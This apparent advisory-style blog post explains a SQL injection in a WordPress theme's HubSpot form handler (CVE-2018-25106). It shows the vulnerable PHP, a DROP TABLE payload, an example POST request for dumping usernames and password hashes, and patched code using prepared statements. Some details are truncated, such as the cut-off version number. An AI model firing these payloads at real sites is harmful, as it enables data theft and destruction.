A serious security flaw, tracked as CVE-2018-25106, was discovered in the WordPress NebulaX Theme up to version 5.. This vulnerability has a critical rating because it enables attackers to launch a remote SQL injection attack with potentially devastating consequences. Let's break down what this means, how the attack works, where exactly the problem lies in the code, and how to fix it.

Affected Versions: Up to 5.

- File: libs/Legacy/Legacy.php

Function: nebula_send_to_hubspot

- Vulnerability: SQL Injection (What is SQL Injection?)

Remote Exploit: Yes

- Patch: 41230a81dbf671c570c2644bc2f80565ca83c5a
- CVE: CVE-2018-25106

Where’s the Problem?

In the NebulaX Theme, the function nebula_send_to_hubspot (inside libs/Legacy/Legacy.php) is intended for handling form submissions and sending data to HubSpot. However, this function doesn't properly sanitize user input before adding it into an SQL statement.

Here's a simplified version of the vulnerable function

// File: libs/Legacy/Legacy.php

function nebula_send_to_hubspot() {
    global $wpdb;
    $email = $_POST['email']; // No validation or escaping!
    $wpdb->query("INSERT INTO wp_contacts (email) VALUES ('$email')");
}

Why is this code dangerous? Because if an attacker sends

email=anything@example.com'); DROP TABLE wp_users; --

The resulting SQL command would be

INSERT INTO wp_contacts (email) VALUES ('anything@example.com'); DROP TABLE wp_users; --')

Submit the form.

Automated tools like sqlmap can be used to automatically find and exploit this bug.

Example exploit POST request

POST /wp-admin/admin-ajax.php?action=nebula_send_to_hubspot HTTP/1.1
Content-Type: application/x-www-form-urlencoded

email=anything@example.com'); SELECT user_login,user_pass FROM wp_users; --

Sometimes attackers can dump your user table, extract password hashes, create new admin users, or even completely erase your website data.

Patch & Fix

The patch for this vulnerability comes in commit 41230a81dbf671c570c2644bc2f80565ca83c5a.

Fixed code

function nebula_send_to_hubspot() {
    global $wpdb;
    $email = sanitize_email($_POST['email']);
    $wpdb->query($wpdb->prepare("INSERT INTO wp_contacts (email) VALUES (%s)", $email));
}

References

- CVE-2018-25106 at NVD
- NebulaX Theme Changelog / Patch Commit
- OWASP SQL Injection Guide

Final Thoughts

CVE-2018-25106 shows why you should never trust user input—especially when it’s entering your database! If you’re using NebulaX Theme up to v5., patch immediately or risk a full site takeover. If you have questions about how to fix or check your code, leave a comment or consult with a WordPress security expert.

Stay safe and keep your plugins and themes up to date!

Timeline

Published on: 12/23/2024 23:15:05 UTC